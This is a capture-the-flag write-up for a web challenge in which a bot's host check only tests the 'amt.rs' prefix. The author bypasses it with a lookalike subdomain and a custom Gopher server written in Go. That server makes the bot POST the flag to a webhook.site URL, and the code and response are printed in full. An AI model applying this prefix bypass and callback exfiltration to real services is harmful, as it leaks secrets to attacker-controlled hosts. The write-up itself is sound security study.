Tags: gopher cheese web
Rating:
This challenge was cheesed with subdomains or certain domain names because it only checks the host prefix.
### The challenge
Submit and Visit function for bot
```go
func Submit(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
u, err := url.Parse(r.Form.Get("url"))
if err != nil || !strings.HasPrefix(u.Host, "amt.rs") {
w.Write([]byte("Invalid url"))
return
}
w.Write([]byte(Visit(r.Form.Get("url"))))
}
func Visit(url string) string {
fmt.Println(url)
res, err := gopher.Get(url)
if err != nil {
return fmt.Sprintf("Something went wrong: %s", err.Error())
}
h, _ := res.Dir.ToText()
fmt.Println(string(h))
url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
fmt.Println(url)
_, err = http.Post(url, "text/plain", bytes.NewBuffer(flag))
if err != nil {
return "Failed to make request"
}
return "Successful visit"
}
```
The bot will make Gopher request to the url provided, extract the URL from the selector of the 3rd item (at index 2) in the response, and make a POST request to the URL with the flag.
The bot does restrict the host of the Gopher url to start with `amt.rs`, however this can be easily bypassed with subdomains like `gopher://amt.rs.cjxol.com:31290/`. The the server can response with my URL in the relative position, the bot would make a POST request to my URL with the flag. The URL for the POST request is not restricted.
![go-gopher flag](https://www.cjxol.com/assets/image/amateursctf-web-writeup/go-gopher-flag.png)
Here is my Gopher server code:
```go
package main
import (
"fmt"
"log"
"git.mills.io/prologic/go-gopher"
)
func hello(w gopher.ResponseWriter, r *gopher.Request) {
w.WriteInfo("Hello!")
w.WriteInfo("again")
w.WriteItem(&gopher.Item{
Selector: "https://webhook.site/[reducted]",
})
fmt.Println("hello")
}
func main() {
gopher.HandleFunc("/", hello)
log.Fatal(gopher.ListenAndServe("0.0.0.0:31337", nil))
}
```
Here is the Gopher response:
```
iHello! error.host 1
iagain error.host 1
https://webhook.site/[reducted] :: 31337
.
```